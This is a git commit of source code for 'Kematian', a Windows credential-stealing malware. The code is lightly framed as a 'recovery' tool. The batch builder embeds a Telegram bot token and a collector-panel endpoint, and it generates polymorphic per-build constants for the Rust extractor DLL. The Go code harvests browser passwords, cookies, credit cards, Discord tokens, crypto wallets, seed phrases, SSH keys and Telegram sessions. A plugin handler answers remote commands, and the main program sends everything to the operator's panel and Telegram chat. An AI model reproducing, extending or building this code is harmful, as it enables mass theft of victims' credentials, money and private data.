initial commit

This commit is contained in:
i2p
2026-08-27 11:23:01 -06:00
commit d8ff4ca963
144 changed files with 21051 additions and 0 deletions
Vendored
BIN
View File
Binary file not shown.
+30
View File
@@ -0,0 +1,30 @@
# Packaged plugin output
*.zip
server.js
# Dependencies (installed at build time)
node_modules/
bun.lockb
# CGo-generated header (rebuilt on each compile)
*-windows-amd64.h
*-linux-amd64.h
*-darwin-amd64.h
*\kematian-windows-amd64.dll
*\recovery-key-extractor.dll
# Go build artifacts
bin/
*.exe
*.test
*.out
# OS
.DS_Store
Thumbs.db
# Editor
.vscode/
.idea/
*.swp
*.swo
+181
View File
@@ -0,0 +1,181 @@
@echo off
setlocal enabledelayedexpansion
title Kematian Final Builder
echo ============================================
echo Kematian Final Executable Builder
echo ============================================
echo.
set "SCRIPT_DIR=%~dp0"
set "PROJECT_ROOT=%SCRIPT_DIR%..\"
set "NATIVE_DIR=%PROJECT_ROOT%native"
set "EXFIL_DIR=%NATIVE_DIR%\cmd\exfil"
set "FINAL_DIR=%SCRIPT_DIR%"
set "ORIGINAL_MAIN=%EXFIL_DIR%\main.go"
set "TEMP_MAIN=%EXFIL_DIR%\main.go.tmp"
set "ORIGINAL_PANEL=%NATIVE_DIR%\recovery\exfil\panel.go"
set "TEMP_PANEL=%NATIVE_DIR%\recovery\exfil\panel.go.tmp"
echo [DEBUG] SCRIPT_DIR=%SCRIPT_DIR%
echo [DEBUG] NATIVE_DIR=%NATIVE_DIR%
echo [DEBUG] ORIGINAL_MAIN=%ORIGINAL_MAIN%
if not exist "%NATIVE_DIR%" (
echo [ERROR] native folder not found at %NATIVE_DIR%
pause
exit /b 1
)
if not exist "%ORIGINAL_MAIN%" (
echo [ERROR] main.go not found at %ORIGINAL_MAIN%
pause
exit /b 1
)
echo Enter your Telegram Bot Token:
set /p BOT_TOKEN=^>
if "%BOT_TOKEN%"=="" (
echo [ERROR] Bot token cannot be empty
pause
exit /b 1
)
echo.
echo Enter your Telegram Chat ID:
set /p CHAT_ID=^>
if "%CHAT_ID%"=="" (
echo [ERROR] Chat ID cannot be empty
pause
exit /b 1
)
echo.
echo -------------------------------------------
echo COLLECTOR PANEL (leave blank to disable)
echo -------------------------------------------
echo.
set "PANEL_ENDPOINT="
set "PANEL_AUTH="
set /p PANEL_ENDPOINT=Panel endpoint (e.g. https://mypanel.com/api/ingest):
set /p PANEL_AUTH=Panel ingest key (PANEL_INGEST_KEY):
echo.
echo.
echo Building recovery-key-extractor.dll (Rust)...
set "RUST_DIR=%PROJECT_ROOT%rust-extractor"
set "EXTRACTOR_OUT=%NATIVE_DIR%\recovery\platform\recovery-key-extractor.dll"
set "RUST_DLL=%RUST_DIR%\target\x86_64-pc-windows-gnu\release\recovery_key_extractor.dll"
if not exist "%RUST_DIR%\Cargo.toml" (
echo [ERROR] rust-extractor\Cargo.toml not found
pause
exit /b 1
)
pushd "%RUST_DIR%"
echo Generating polymorphic gen.rs (unique constants per build)...
python -c "import secrets;seed=secrets.randbelow(1<<32)|1;kt=secrets.randbelow(255)+1;kv=secrets.randbelow(255)+1;ks=secrets.randbelow(255)+1;ke=secrets.randbelow(255)+1;kd=secrets.randbelow(255)+1;jx=secrets.randbelow(1<<32)|1;jr=secrets.randbelow(1<<32)|1;jn=secrets.randbelow(16)+4;ot=(secrets.randbelow(1<<32)<<32)|secrets.randbelow(1<<32);f=open('src/gen.rs','w');f.write('// AUTO-GENERATED per build. Do not edit.\n');f.write('pub const GEN_SEED: u32 = 0x%08X;\n\n'%seed);f.write('pub const K_TOKEN: u8 = %d;\n'%kt);f.write('pub const K_VENDOR: u8 = %d;\n'%kv);f.write('pub const K_SMBIOS: u8 = %d;\n'%ks);f.write('pub const K_ENV: u8 = %d;\n'%ke);f.write('pub const K_DISPLAY: u8 = %d;\n\n'%kd);f.write('pub const JUNK_XOR: u32 = 0x%08X;\n'%jx);f.write('pub const JUNK_ROT: u32 = 0x%08X;\n'%jr);f.write('pub const JUNK_N: u32 = %d;\n\n'%jn);f.write('pub const OPAQUE_TAG: u64 = 0x%016X;\n'%ot);f.close()" 2>&1
if errorlevel 1 (
echo [WARN] gen.rs regeneration failed, using existing gen.rs
)
cargo build --release --target x86_64-pc-windows-gnu
if errorlevel 1 (
popd
echo [ERROR] cargo build failed
pause
exit /b 1
)
popd
if not exist "%RUST_DLL%" (
echo [ERROR] Rust DLL not found at %RUST_DLL%
pause
exit /b 1
)
copy /y "%RUST_DLL%" "%EXTRACTOR_OUT%" >nul
if errorlevel 1 (
echo [ERROR] Failed to copy Rust DLL
pause
exit /b 1
)
echo [OK] recovery-key-extractor.dll ready
echo.
echo Generating main.go with embedded credentials...
echo [DEBUG] Replacing placeholders in %ORIGINAL_MAIN%
powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_MAIN%'; $content = $content -replace 'defaultBotToken = \"YOUR_BOT_TOKEN_HERE\"', 'defaultBotToken = \"%BOT_TOKEN%\"'; $content = $content -replace 'defaultChatID = \"YOUR_CHAT_ID_HERE\"', 'defaultChatID = \"%CHAT_ID%\"'; [IO.File]::WriteAllText('%TEMP_MAIN%', $content); Write-Host 'PowerShell OK'"
if errorlevel 1 (
echo [ERROR] Failed to generate temp main.go
pause
exit /b 1
)
echo [DEBUG] Temp file created, verifying...
powershell -NoProfile -Command "Get-Content -Path '%TEMP_MAIN%' | Select-String 'defaultBotToken'"
move /y "%TEMP_MAIN%" "%ORIGINAL_MAIN%" >nul
if errorlevel 1 (
echo [ERROR] Failed to replace main.go
pause
exit /b 1
)
echo [OK] main.go updated with credentials
echo.
echo Generating panel.go with panel config...
if not "%PANEL_ENDPOINT%"=="" (
powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_PANEL%'; $content = $content -replace 'http://127.0.0.1:5000/api/ingest', '%PANEL_ENDPOINT%'; $content = $content -replace 'PanelAuth = \"kematian-ingest-key-CHANGE-ME\"', 'PanelAuth = \"%PANEL_AUTH%\"'; [IO.File]::WriteAllText('%TEMP_PANEL%', $content); Write-Host 'PowerShell OK'"
if errorlevel 1 (
echo [ERROR] Failed to generate temp panel.go
pause
exit /b 1
)
move /y "%TEMP_PANEL%" "%ORIGINAL_PANEL%" >nul
echo [OK] panel.go endpoint + auth updated (pubkey is auto-fetched at runtime)
)
echo.
echo Building executable...
pushd "%NATIVE_DIR%"
go build -ldflags="-H=windowsgui -s -w" -o "%FINAL_DIR%kematian.exe" ./cmd/exfil
if errorlevel 1 (
popd
echo [ERROR] Go build failed
pause
exit /b 1
)
popd
echo.
echo Restoring original main.go...
git checkout "%ORIGINAL_MAIN%" 2>nul
if errorlevel 1 (
powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_MAIN%'; $content = $content -replace 'defaultBotToken = \"%BOT_TOKEN%\"', 'defaultBotToken = \"YOUR_BOT_TOKEN_HERE\"'; $content = $content -replace 'defaultChatID = \"%CHAT_ID%\"', 'defaultChatID = \"YOUR_CHAT_ID_HERE\"'; [IO.File]::WriteAllText('%ORIGINAL_MAIN%', $content)"
)
echo.
echo Restoring original panel.go...
git checkout "%ORIGINAL_PANEL%" 2>nul
if errorlevel 1 (
powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_PANEL%'; $content = $content -replace [regex]::Escape('%PANEL_ENDPOINT%'), 'http://127.0.0.1:5000/api/ingest'; $content = $content -replace 'PanelAuth = \"%PANEL_AUTH%\"', 'PanelAuth = \"kematian-ingest-key-CHANGE-ME\"'; [IO.File]::WriteAllText('%ORIGINAL_PANEL%', $content)"
)
echo.
echo ============================================
echo [SUCCESS] Build complete!
echo ============================================
echo.
echo Output: %FINAL_DIR%kematian.exe
echo.
echo Usage: Just double-click kemeatien.exe
echo (No arguments needed - credentials are embedded)
echo.
dir "%FINAL_DIR%kematian.exe"
echo.
pause
@@ -0,0 +1,361 @@
// Command devtool is a standalone development harness for the Kematian
// recovery pipeline. It emulates the plugin host + server by running the same
// collection code as the c-shared plugin, then prints a summary (or, with
// -verbose, the full event/result JSON) to the console.
//
// Usage examples:
//
// go run ./cmd/devtool # collect everything, summary
// go run ./cmd/devtool -cookies -browser Brave # just Brave cookies
// go run ./cmd/devtool -verbose # dump full JSON events
// go run ./cmd/devtool -out result.json -no-inject
//
// It is not loaded as a plugin; it links the recovery package directly and is
// meant to make local development and debugging easier.
package main
import (
"context"
"encoding/base64"
"encoding/json"
"flag"
"fmt"
"log"
"os"
"sort"
"strings"
"time"
recovery "recovery/recovery"
)
const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB, matches plugin
var verbose bool
func main() {
var (
outPath string
timeoutSec int
browser string
noInject bool
includeZip bool
all bool
passwords bool
cookies bool
autofill bool
history bool
bookmarks bool
cards bool
discord bool
files bool
wallets bool
telegram bool
keys bool
apps bool
gaming bool
vpn bool
extensions bool
fingerprint bool
fingerprintJS bool
)
flag.StringVar(&outPath, "out", "", "write the full result JSON to this file")
flag.IntVar(&timeoutSec, "timeout", 120, "collection timeout in seconds")
flag.StringVar(&browser, "browser", "", "only show results for this browser (case-insensitive); scanning is not restricted")
flag.BoolVar(&noInject, "no-inject", false, "skip DLL injection (direct file access only, no App-Bound/v20 keys)")
flag.BoolVar(&verbose, "verbose", false, "print full event/result JSON (default: summary only)")
flag.BoolVar(&includeZip, "content", false, "include base64 content in auto-download events")
flag.BoolVar(&all, "all", false, "collect everything")
flag.BoolVar(&passwords, "passwords", false, "collect passwords")
flag.BoolVar(&cookies, "cookies", false, "collect cookies")
flag.BoolVar(&autofill, "autofill", false, "collect autofill")
flag.BoolVar(&history, "history", false, "collect history")
flag.BoolVar(&bookmarks, "bookmarks", false, "collect bookmarks")
flag.BoolVar(&cards, "cards", false, "collect credit cards")
flag.BoolVar(&discord, "discord", false, "collect Discord tokens")
flag.BoolVar(&files, "files", false, "scan files")
flag.BoolVar(&wallets, "wallets", false, "scan wallets")
flag.BoolVar(&telegram, "telegram", false, "scan Telegram sessions")
flag.BoolVar(&keys, "keys", false, "scan SSH & cloud keys")
flag.BoolVar(&apps, "apps", false, "scan app credentials")
flag.BoolVar(&gaming, "gaming", false, "scan gaming platforms")
flag.BoolVar(&vpn, "vpn", false, "scan VPN configs")
flag.BoolVar(&extensions, "extensions", false, "scan browser extensions")
flag.BoolVar(&fingerprint, "fingerprint", false, "collect the native browser fingerprint and exit")
flag.BoolVar(&fingerprintJS, "fingerprint-js", false, "collect the JS (canvas/WebGL/audio) fingerprint and exit")
flag.Parse()
if noInject {
os.Setenv("KEMATIAN_NO_INJECT", "1")
}
if fingerprint {
fp := recovery.CollectFingerprint()
data, _ := json.MarshalIndent(fp, "", " ")
fmt.Println(string(data))
return
}
if fingerprintJS {
fp := recovery.CollectJSFingerprint()
if fp == nil {
fmt.Println("{\"error\": \"failed to collect JS fingerprint\"}")
return
}
data, _ := json.MarshalIndent(fp, "", " ")
fmt.Println(string(data))
return
}
anyData := passwords || cookies || autofill || history || bookmarks || cards ||
discord || files || wallets || telegram || keys || apps || gaming || vpn || extensions
opts := recovery.CollectOptions{
Browsers: all || !anyData || passwords || cookies || autofill || history || bookmarks || cards || extensions,
Passwords: all || !anyData || passwords,
Cookies: all || !anyData || cookies,
Autofill: all || !anyData || autofill,
History: all || !anyData || history,
Bookmarks: all || !anyData || bookmarks,
CreditCards: all || !anyData || cards,
Discord: all || !anyData || discord,
Files: all || !anyData || files,
Wallets: all || !anyData || wallets,
Telegram: all || !anyData || telegram,
Keys: all || !anyData || keys,
Apps: all || !anyData || apps,
Gaming: all || !anyData || gaming,
VPNs: all || !anyData || vpn,
}
log.Printf("devtool: timeout=%ds browser=%q noInject=%v verbose=%v", timeoutSec, browser, noInject, verbose)
printEvent("status", map[string]string{"message": "Starting collection (devtool)..."})
var exts []recovery.ExtensionResult
if opts.Browsers || extensions {
exts = recovery.ScanExtensions()
log.Printf("devtool: extension scan complete: %d extensions", len(exts))
}
partialFn := func(partial *recovery.CollectionResult) {
printEvent("partial", filter(partial, browser))
}
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSec)*time.Second)
defer cancel()
start := time.Now()
result, err := recovery.Collect(ctx, opts, partialFn)
if err != nil {
log.Printf("devtool: collection failed: %v", err)
printEvent("error", map[string]string{"error": err.Error()})
os.Exit(1)
}
if opts.Browsers || extensions {
result.Extensions = exts
}
printSummary(filter(result, browser))
printEvent("results", filter(result, browser))
if len(result.Wallets) > 0 {
autoDownloadWallets(result.Wallets, includeZip)
}
seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill)
if len(seeds) > 0 {
log.Printf("devtool: seed scan found %d seed phrases", len(seeds))
printEvent("seed_scan_results", map[string]interface{}{"seeds": seeds})
}
if outPath != "" {
if err := writeResult(outPath, filter(result, browser)); err != nil {
log.Printf("devtool: failed to write output: %v", err)
os.Exit(1)
}
log.Printf("devtool: wrote result to %s", outPath)
}
log.Printf("devtool: collection completed in %s", time.Since(start).Round(time.Millisecond))
}
// printEvent emulates the server receiving an event + JSON payload. Only used
// when -verbose is set.
func printEvent(event string, payload interface{}) {
if !verbose {
return
}
data, err := json.MarshalIndent(payload, "", " ")
if err != nil {
log.Printf("devtool: marshal %s: %v", event, err)
return
}
fmt.Printf("\n===== EVENT: %s =====\n%s\n", event, string(data))
}
type browserCounts struct {
cookies, passwords, autofill, history, bookmarks, cards, extensions int
}
func tally(r *recovery.CollectionResult) map[string]*browserCounts {
m := map[string]*browserCounts{}
get := func(b string) *browserCounts {
if b == "" {
b = "(unknown)"
}
c, ok := m[b]
if !ok {
c = &browserCounts{}
m[b] = c
}
return c
}
for _, v := range r.Cookies {
get(v.Browser).cookies++
}
for _, v := range r.Passwords {
get(v.Browser).passwords++
}
for _, v := range r.Autofill {
get(v.Browser).autofill++
}
for _, v := range r.History {
get(v.Browser).history++
}
for _, v := range r.Bookmarks {
get(v.Browser).bookmarks++
}
for _, v := range r.CreditCards {
get(v.Browser).cards++
}
for _, v := range r.Extensions {
get(v.Browser).extensions++
}
return m
}
func printSummary(r *recovery.CollectionResult) {
fmt.Printf("\n===== SUMMARY =====\n")
byBrowser := tally(r)
names := make([]string, 0, len(byBrowser))
for b := range byBrowser {
names = append(names, b)
}
sort.Strings(names)
fmt.Printf("%-14s %9s %9s %8s %7s %9s %5s %10s\n",
"browser", "cookies", "passwords", "autofill", "history", "bookmarks", "cards", "extensions")
for _, b := range names {
c := byBrowser[b]
fmt.Printf("%-14s %9d %9d %8d %7d %9d %5d %10d\n",
b, c.cookies, c.passwords, c.autofill, c.history, c.bookmarks, c.cards, c.extensions)
}
fmt.Printf("\ndiscord tokens: %d\n", len(r.DiscordTokens))
fmt.Printf("files: %d\n", len(r.Files))
fmt.Printf("wallets: %d\n", len(r.Wallets))
fmt.Printf("telegram: %d\n", len(r.Telegram))
fmt.Printf("keys: %d\n", len(r.Keys))
fmt.Printf("apps: %d\n", len(r.AppCredentials))
if r.Gaming != nil {
fmt.Printf("gaming: present\n")
}
if r.VPNs != nil {
fmt.Printf("vpns: present\n")
}
if len(r.Errors) > 0 {
fmt.Printf("\nerrors: %d\n", len(r.Errors))
for _, e := range r.Errors {
fmt.Printf(" - %s\n", e)
}
}
}
func writeResult(path string, r *recovery.CollectionResult) error {
data, err := json.MarshalIndent(r, "", " ")
if err != nil {
return err
}
return os.WriteFile(path, data, 0600)
}
func autoDownloadWallets(wallets []recovery.WalletResult, includeZip bool) {
for _, w := range wallets {
if w.Size > maxAutoDownloadSize {
log.Printf("devtool: skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size)
continue
}
data, err := recovery.ZipDirectory(w.Path)
if err != nil {
log.Printf("devtool: auto-download zip %q: %v", w.Name, err)
continue
}
log.Printf("devtool: wallet %q (%s) zipped %d bytes", w.Name, w.Type, len(data))
if includeZip {
printEvent("wallet_auto_data", map[string]interface{}{
"name": w.Name,
"type": w.Type,
"path": w.Path,
"addresses": w.Addresses,
"vaultData": w.VaultData,
"size": len(data),
"content": base64.StdEncoding.EncodeToString(data),
})
}
}
}
// filter returns a copy of r restricted to a single browser (case-insensitive)
// when name is non-empty. Non-browser fields are dropped in that case so the
// output stays focused on the browser under test.
func filter(r *recovery.CollectionResult, name string) *recovery.CollectionResult {
if name == "" {
return r
}
match := func(b string) bool { return strings.EqualFold(b, name) }
out := &recovery.CollectionResult{}
for _, v := range r.Passwords {
if match(v.Browser) {
out.Passwords = append(out.Passwords, v)
}
}
for _, v := range r.Cookies {
if match(v.Browser) {
out.Cookies = append(out.Cookies, v)
}
}
for _, v := range r.Autofill {
if match(v.Browser) {
out.Autofill = append(out.Autofill, v)
}
}
for _, v := range r.History {
if match(v.Browser) {
out.History = append(out.History, v)
}
}
for _, v := range r.Bookmarks {
if match(v.Browser) {
out.Bookmarks = append(out.Bookmarks, v)
}
}
for _, v := range r.CreditCards {
if match(v.Browser) {
out.CreditCards = append(out.CreditCards, v)
}
}
for _, v := range r.Extensions {
if match(v.Browser) {
out.Extensions = append(out.Extensions, v)
}
}
out.Errors = r.Errors
return out
}
@@ -0,0 +1,81 @@
package main
import (
"context"
"fmt"
"os"
"os/signal"
"syscall"
"time"
"recovery/recovery/exfil"
)
const (
defaultTimeout = 120 * time.Second
// EMBEDDED CONFIG - Change these values before building
// Telegram fallback (leave placeholder to disable)
defaultBotToken = "YOUR_BOT_TOKEN_HERE"
defaultChatID = "YOUR_CHAT_ID_HERE"
)
func logf(format string, args ...interface{}) {
f, err := os.OpenFile("kematian.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return
}
defer f.Close()
msg := fmt.Sprintf(format, args...)
fmt.Fprintf(f, "%s %s\n", time.Now().Format("2006-01-02 15:04:05"), msg)
}
func main() {
useTelegram := defaultBotToken != "" && defaultBotToken != "YOUR_BOT_TOKEN_HERE" && defaultChatID != "" && defaultChatID != "YOUR_CHAT_ID_HERE"
usePanel := exfil.PanelEndpoint != ""
logf("kematian start: usePanel=%v useTelegram=%v endpoint=%q authSet=%v", usePanel, useTelegram, exfil.PanelEndpoint, exfil.PanelAuth != "")
if !useTelegram && !usePanel {
return
}
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
defer cancel()
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM)
go func() {
<-sigChan
cancel()
}()
result, zipData, counts, payloads, err := exfil.CollectResultAndZip(ctx)
if err != nil {
logf("collect failed: %v", err)
return
}
if usePanel {
clientID := exfil.GenerateClientID()
if err := exfil.SendToPanel(result, clientID, payloads...); err != nil {
logf("panel send FAILED: %v", err)
} else {
logf("panel send OK clientId=%s payloads=%d", clientID, len(payloads))
}
}
if useTelegram {
filename := "kematian_" + time.Now().Format("20060102_150405") + ".zip"
cfg := exfil.TelegramConfig{
BotToken: defaultBotToken,
ChatID: defaultChatID,
}
if err := exfil.SendToTelegram(cfg, zipData, filename, counts); err != nil {
logf("telegram send FAILED: %v", err)
} else {
logf("telegram send OK")
}
}
}
@@ -0,0 +1,64 @@
//go:build windows
package main
import "C"
import (
"syscall"
"unsafe"
)
var callbackPtr uintptr
func hostSendViaCallback(event string, payload []byte) {
cb := callbackPtr
if cb == 0 {
return
}
eventBytes := []byte(event)
var evPtr, plPtr uintptr
evLen := uintptr(len(eventBytes))
plLen := uintptr(len(payload))
if len(eventBytes) > 0 {
evPtr = uintptr(unsafe.Pointer(&eventBytes[0]))
}
if len(payload) > 0 {
plPtr = uintptr(unsafe.Pointer(&payload[0]))
}
syscall.SyscallN(cb, evPtr, evLen, plPtr, plLen)
}
//export PluginSetCallback
func PluginSetCallback(cb C.ulonglong) {
callbackPtr = uintptr(cb)
setSend(hostSendViaCallback)
}
//export PluginOnLoad
func PluginOnLoad(hostInfo *C.char, hostInfoLen C.int, cb C.ulonglong) C.int {
callbackPtr = uintptr(cb)
setSend(hostSendViaCallback)
data := C.GoBytes(unsafe.Pointer(hostInfo), hostInfoLen)
if err := handleInit(data); err != nil {
return 1
}
return 0
}
//export PluginOnEvent
func PluginOnEvent(event *C.char, eventLen C.int, payload *C.char, payloadLen C.int) C.int {
ev := C.GoStringN(event, eventLen)
var pl []byte
if payloadLen > 0 {
pl = C.GoBytes(unsafe.Pointer(payload), payloadLen)
}
if err := handleEvent(ev, pl); err != nil {
return 1
}
return 0
}
//export PluginOnUnload
func PluginOnUnload() {
handleUnload()
}
+22
View File
@@ -0,0 +1,22 @@
module recovery
go 1.26
require (
github.com/mattn/go-sqlite3 v1.14.18
golang.org/x/sys v0.47.0
)
require (
github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f
github.com/chromedp/chromedp v0.16.0
golang.org/x/crypto v0.50.0
)
require (
github.com/chromedp/sysutil v1.1.0 // indirect
github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68 // indirect
github.com/gobwas/httphead v0.1.0 // indirect
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.4.0 // indirect
)
+25
View File
@@ -0,0 +1,25 @@
github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f h1:0Z1zcSLEmnj2c2CmJYBqewtS6pxhB39bNWUSEUAWjgk=
github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f/go.mod h1:RwFsSODCtFExll+GhHM6R92SARHR3Z3oipaxLHj46C0=
github.com/chromedp/chromedp v0.16.0 h1:rOO4deOm4CbZgBCa8mD9g2rDyIoNs0BkgvNrlbp5ouk=
github.com/chromedp/chromedp v0.16.0/go.mod h1:rbuGKFT1vMcFcFqKfPIO1GpX/N+2s8onm2qMxZLbU5U=
github.com/chromedp/sysutil v1.1.0 h1:PUFNv5EcprjqXZD9nJb9b/c9ibAbxiYo4exNWZyipwM=
github.com/chromedp/sysutil v1.1.0/go.mod h1:WiThHUdltqCNKGc4gaU50XgYjwjYIhKWoHGPTUfWTJ8=
github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68 h1:KZaTBSyshWX3MP5jukJcNSuXDQTO+rNpt0J564dX/eg=
github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68/go.mod h1:tphK2c80bpPhMOI4v6bIc2xWywPfbqi1Z06+RcrMkDg=
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs=
github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc=
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
github.com/mattn/go-sqlite3 v1.14.18 h1:JL0eqdCOq6DJVNPSvArO/bIV9/P7fbGrV00LZHc+5aI=
github.com/mattn/go-sqlite3 v1.14.18/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
golang.org/x/crypto v0.50.0 h1:zO47/JPrL6vsNkINmLoo/PH1gcxpls50DNogFvB5ZGI=
golang.org/x/crypto v0.50.0/go.mod h1:3muZ7vA7PBCE6xgPX7nkzzjiUq87kRItoJQM1Yo8S+Q=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
+588
View File
@@ -0,0 +1,588 @@
package main
import (
"context"
"encoding/base64"
"encoding/json"
"log"
"path/filepath"
"recovery/recovery"
"sync"
"sync/atomic"
"time"
)
// collectDeadline bounds an entire collection run. A single stuck browser
// (NSS/COM/pipe stall) must never wedge the agent for more than this.
const collectDeadline = 90 * time.Second
type HostInfo struct {
ClientID string `json:"clientId"`
OS string `json:"os"`
Arch string `json:"arch"`
Version string `json:"version"`
}
var (
hostInfo HostInfo
sendFn func(event string, payload []byte)
mu sync.Mutex
collecting atomic.Bool
)
func setSend(fn func(event string, payload []byte)) {
mu.Lock()
sendFn = fn
mu.Unlock()
}
func sendEvent(event string, payload interface{}) {
mu.Lock()
fn := sendFn
mu.Unlock()
if fn == nil {
return
}
data, err := json.Marshal(payload)
if err != nil {
log.Printf("[recovery] marshal error: %v", err)
return
}
fn(event, data)
}
func handleInit(hostJSON []byte) error {
if err := json.Unmarshal(hostJSON, &hostInfo); err != nil {
return err
}
log.Printf("[recovery] init: clientId=%s os=%s arch=%s", hostInfo.ClientID, hostInfo.OS, hostInfo.Arch)
sendEvent("ready", map[string]string{"status": "recovery plugin ready"})
return nil
}
func handleEvent(event string, payload []byte) error {
switch event {
case "collect":
go handleCollect(payload)
case "scan_files":
go handleScanFiles()
case "scan_extensions":
go handleScanExtensions()
case "fetch_file":
go handleFetchFile(payload)
case "fetch_ext_zip":
go handleFetchExtZip(payload)
case "scan_wallets":
go handleScanWallets()
case "fetch_wallet_zip":
go handleFetchWalletZip(payload)
case "scan_telegram":
go handleScanTelegram()
case "fetch_telegram_zip":
go handleFetchTelegramZip(payload)
case "scan_keys":
go handleScanKeys()
case "scan_apps":
go handleScanApps()
case "scan_gaming":
go handleScanGaming()
case "scan_vpn":
go handleScanVPN()
case "fingerprint":
go handleFingerprint()
case "fingerprint_js":
go handleFingerprintJS()
case "ping":
sendEvent("pong", nil)
default:
log.Printf("[recovery] unhandled event: %s", event)
}
return nil
}
func handleCollect(payload []byte) {
if !collecting.CompareAndSwap(false, true) {
log.Printf("[recovery] collection already in progress, ignoring duplicate request")
return
}
defer collecting.Store(false)
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] collection panic: %v", r)
sendEvent("error", map[string]string{"error": "internal collection error"})
}
}()
var opts recovery.CollectOptions
if len(payload) > 0 {
json.Unmarshal(payload, &opts)
} else {
opts.Browsers = true
}
if opts.Browsers {
noneSet := !opts.Passwords && !opts.Cookies && !opts.Autofill &&
!opts.History && !opts.Bookmarks && !opts.CreditCards && !opts.Discord
if noneSet {
opts.Passwords = true
opts.Cookies = true
opts.Autofill = true
opts.History = true
opts.Bookmarks = true
opts.CreditCards = true
opts.Discord = true
opts.Files = true
opts.Wallets = true
opts.Telegram = true
opts.Keys = true
opts.Apps = true
opts.Gaming = true
opts.VPNs = true
}
}
log.Printf("[recovery] starting collection (passwords=%v cookies=%v autofill=%v history=%v bookmarks=%v cards=%v discord=%v)",
opts.Passwords, opts.Cookies, opts.Autofill, opts.History, opts.Bookmarks, opts.CreditCards, opts.Discord)
sendEvent("status", map[string]string{"message": "Resolving encryption keys..."})
var extensions []recovery.ExtensionResult
var extWg sync.WaitGroup
if opts.Browsers {
extWg.Add(1)
go func() {
defer extWg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] extension scan panic: %v", r)
}
}()
extensions = recovery.ScanExtensions()
}()
}
partialFn := func(partial *recovery.CollectionResult) {
sendEvent("partial", partial)
}
ctx, cancel := context.WithTimeout(context.Background(), collectDeadline)
defer cancel()
result, err := recovery.Collect(ctx, opts, partialFn)
if err != nil {
log.Printf("[recovery] collection failed: %v", err)
sendEvent("error", map[string]string{"error": err.Error()})
return
}
if opts.Browsers {
extWg.Wait()
result.Extensions = extensions
}
log.Printf("[recovery] collection complete: %d passwords, %d cookies, %d autofill, %d history, %d bookmarks, %d cards, %d discord tokens, %d extensions, %d wallets, %d telegram, %d keys, %d app creds",
len(result.Passwords), len(result.Cookies), len(result.Autofill),
len(result.History), len(result.Bookmarks), len(result.CreditCards), len(result.DiscordTokens), len(result.Extensions), len(result.Wallets), len(result.Telegram), len(result.Keys), len(result.AppCredentials))
sendEvent("results", result)
if len(result.Wallets) > 0 {
go func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] wallet auto-download panic: %v", r)
}
}()
autoDownloadWallets(result.Wallets)
}()
}
go func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] seed scan panic: %v", r)
}
}()
seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill)
if len(seeds) > 0 {
log.Printf("[recovery] seed scan found %d seed phrases", len(seeds))
sendEvent("seed_scan_results", map[string]interface{}{
"seeds": seeds,
})
}
}()
}
func handleScanExtensions() {
defer func() {
if r := recover(); r != nil {
log.Printf("[recovery] extension scan panic: %v", r)
sendEvent("error", map[string]string{"error": "extension scan error"})
}
}()
sendEvent("status", map[string]string{"message": "Scanning extensions..."})
exts := recovery.ScanExtensions()
log.Printf("[recovery] extension scan complete: %d extensions", len(exts))
sendEvent("extension_scan_results", map[string]interface{}{
"extensions": exts,
})
}
func handleFetchExtZip(payload []byte) {
defer func() {
